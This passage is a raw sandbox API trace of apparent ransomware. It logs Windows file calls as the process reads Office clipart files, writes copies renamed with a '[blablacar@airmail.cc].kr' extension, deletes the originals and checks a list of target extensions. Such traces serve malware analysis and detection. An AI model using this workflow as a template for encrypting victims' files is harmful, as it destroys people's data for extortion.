lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x9b0, lpOverlapped=0x0) returned 1 [0194.897] ReadFile (in: hFile=0x410, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0194.897] WriteFile (in: hFile=0x370, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0194.897] SetEndOfFile (hFile=0x370) returned 1 [0194.897] CloseHandle (hObject=0x370) returned 1 [0194.897] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.898] SetEndOfFile (hFile=0x410) returned 1 [0194.900] CloseHandle (hObject=0x410) returned 1 [0194.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 1 [0195.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0195.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0195.052] lstrlenW (lpString=".doc") returned 4 [0195.052] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.052] lstrlenW (lpString=".docx") returned 5 [0195.052] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.052] lstrlenW (lpString=".pdf") returned 4 [0195.052] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.052] lstrlenW (lpString=".xls") returned 4 [0195.052] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.052] lstrlenW (lpString=".xlsx") returned 5 [0195.052] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.052] lstrlenW (lpString=".ppt") returned 4 [0195.052] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0195.052] lstrlenW (lpString=".zip") returned 4 [0195.052] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.052] lstrlenW (lpString=".rar") returned 4 [0195.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.052] lstrlenW (lpString=".bz2") returned 4 [0195.052] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.052] lstrlenW (lpString=".7z") returned 3 [0195.052] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0195.052] lstrlenW (lpString=".dbf") returned 4 [0195.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0195.053] lstrlenW (lpString=".1cd") returned 4 [0195.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0195.053] lstrlenW (lpString=".jpg") returned 4 [0195.053] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0195.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0195.053] lstrlenW (lpString=".doc") returned 4 [0195.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.053] lstrlenW (lpString=".docx") returned 5 [0195.053] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.053] lstrlenW (lpString=".pdf") returned 4 [0195.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.053] lstrlenW (lpString=".xls") returned 4 [0195.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.053] lstrlenW (lpString=".xlsx") returned 5 [0195.053] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.053] lstrlenW (lpString=".ppt") returned 4 [0195.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0195.053] lstrlenW (lpString=".zip") returned 4 [0195.053] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.053] lstrlenW (lpString=".rar") returned 4 [0195.053] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.053] lstrlenW (lpString=".bz2") returned 4 [0195.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.054] lstrlenW (lpString=".7z") returned 3 [0195.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0195.054] lstrlenW (lpString=".dbf") returned 4 [0195.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0195.054] lstrlenW (lpString=".1cd") returned 4 [0195.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0195.054] lstrlenW (lpString=".jpg") returned 4 [0195.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.054] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0195.054] lstrlenW (lpString="HH00260_.WMF") returned 12 [0195.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0195.055] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3662) returned 1 [0195.055] CloseHandle (hObject=0x378) returned 1 [0195.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x220 [0195.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0195.056] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.056] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0195.058] GetLastError () returned 0x0 [0195.058] ReadFile (in: hFile=0x378, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xe4e, lpOverlapped=0x0) returned 1 [0195.059] WriteFile (in: hFile=0x3bc, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xe50, lpOverlapped=0x0) returned 1 [0195.060] ReadFile (in: hFile=0x378, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0195.060] WriteFile (in: hFile=0x3bc, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0195.061] SetEndOfFile (hFile=0x3bc) returned 1 [0195.061] CloseHandle (hObject=0x3bc) returned 1 [0195.061] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.061] SetEndOfFile (hFile=0x378) returned 1 [0195.064] CloseHandle (hObject=0x378) returned 1 [0195.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 1 [0195.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0195.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0195.065] lstrlenW (lpString=".doc") returned 4 [0195.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.065] lstrlenW (lpString=".docx") returned 5 [0195.065] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.066] lstrlenW (lpString=".pdf") returned 4 [0195.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.066] lstrlenW (lpString=".xls") returned 4 [0195.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.066] lstrlenW (lpString=".xlsx") returned 5 [0195.066] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.066] lstrlenW (lpString=".ppt") returned 4 [0195.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0195.066] lstrlenW (lpString=".zip") returned 4 [0195.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.066] lstrlenW (lpString=".rar") returned 4 [0195.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.066] lstrlenW (lpString=".bz2") returned 4 [0195.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.066] lstrlenW (lpString=".7z") returned 3 [0195.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0195.066] lstrlenW (lpString=".dbf") returned 4 [0195.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0195.066] lstrlenW (lpString=".1cd") returned 4 [0195.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0195.066] lstrlenW (lpString=".jpg") returned 4 [0195.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0195.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0195.067] lstrlenW (lpString=".doc") returned 4 [0195.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.067] lstrlenW (lpString=".docx") returned 5 [0195.067] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.067] lstrlenW (lpString=".pdf") returned 4 [0195.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.067] lstrlenW (lpString=".xls") returned 4 [0195.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.067] lstrlenW (lpString=".xlsx") returned 5 [0195.067] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.067] lstrlenW (lpString=".ppt") returned 4 [0195.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0195.067] lstrlenW (lpString=".zip") returned 4 [0195.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.067] lstrlenW (lpString=".rar") returned 4 [0195.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.067] lstrlenW (lpString=".bz2") returned 4 [0195.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.067] lstrlenW (lpString=".7z") returned 3 [0195.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0195.067] lstrlenW (lpString=".dbf") returned 4 [0195.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0195.067] lstrlenW (lpString=".1cd") returned 4 [0195.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0195.068] lstrlenW (lpString=".jpg") returned 4 [0195.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.068] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0195.068] lstrlenW (lpString="HH00276_.WMF") returned 12 [0195.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0195.107] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3016) returned 1 [0195.108] CloseHandle (hObject=0x378) returned 1 [0195.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x220 [0195.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0195.108] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.108] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0195.109] GetLastError () returned 0x0 [0195.109] ReadFile (in: hFile=0x378, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xbc8, lpOverlapped=0x0) returned 1 [0195.117] WriteFile (in: hFile=0x3bc, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xbd0, lpOverlapped=0x0) returned 1 [0195.122] ReadFile (in: hFile=0x378, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0195.122] WriteFile (in: hFile=0x3bc, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0195.122] SetEndOfFile (hFile=0x3bc) returned 1 [0195.122] CloseHandle (hObject=0x3bc) returned 1 [0195.122] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.122] SetEndOfFile (hFile=0x378) returned 1 [0195.127] CloseHandle (hObject=0x378) returned 1 [0195.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.128] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 1 [0195.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0195.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0195.129] lstrlenW (lpString=".doc") returned 4 [0195.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.129] lstrlenW (lpString=".docx") returned 5 [0195.129] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.129] lstrlenW (lpString=".pdf") returned 4 [0195.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.129] lstrlenW (lpString=".xls") returned 4 [0195.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.129] lstrlenW (lpString=".xlsx") returned 5 [0195.129] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.129] lstrlenW (lpString=".ppt") returned 4 [0195.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0195.129] lstrlenW (lpString=".zip") returned 4 [0195.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.129] lstrlenW (lpString=".rar") returned 4 [0195.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.129] lstrlenW (lpString=".bz2") returned 4 [0195.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.129] lstrlenW (lpString=".7z") returned 3 [0195.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0195.129] lstrlenW (lpString=".dbf") returned 4 [0195.129] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0195.130] lstrlenW (lpString=".1cd") returned 4 [0195.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0195.130] lstrlenW (lpString=".jpg") returned 4 [0195.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0195.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0195.130] lstrlenW (lpString=".doc") returned 4 [0195.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.130] lstrlenW (lpString=".docx") returned 5 [0195.130] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.130] lstrlenW (lpString=".pdf") returned 4 [0195.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.130] lstrlenW (lpString=".xls") returned 4 [0195.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.130] lstrlenW (lpString=".xlsx") returned 5 [0195.130] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.130] lstrlenW (lpString=".ppt") returned 4 [0195.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0195.130] lstrlenW (lpString=".zip") returned 4 [0195.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.130] lstrlenW (lpString=".rar") returned 4 [0195.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.130] lstrlenW (lpString=".bz2") returned 4 [0195.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.130] lstrlenW (lpString=".7z") returned 3 [0195.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0195.131] lstrlenW (lpString=".dbf") returned 4 [0195.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0195.131] lstrlenW (lpString=".1cd") returned 4 [0195.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0195.131] lstrlenW (lpString=".jpg") returned 4 [0195.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.131] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0195.131] lstrlenW (lpString="HH00334_.WMF") returned 12 [0195.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0195.132] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=1528) returned 1 [0195.132] CloseHandle (hObject=0x378) returned 1 [0195.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x220 [0195.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0195.260] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.261] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0195.262] GetLastError () returned 0x0 [0195.262] ReadFile (in: hFile=0x38c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x5f8, lpOverlapped=0x0) returned 1 [0195.264] WriteFile (in: hFile=0x544, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x600, lpOverlapped=0x0) returned 1 [0195.265] ReadFile (in: hFile=0x38c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0195.265] WriteFile (in: hFile=0x544, lpBuffer=0x45d2020*, 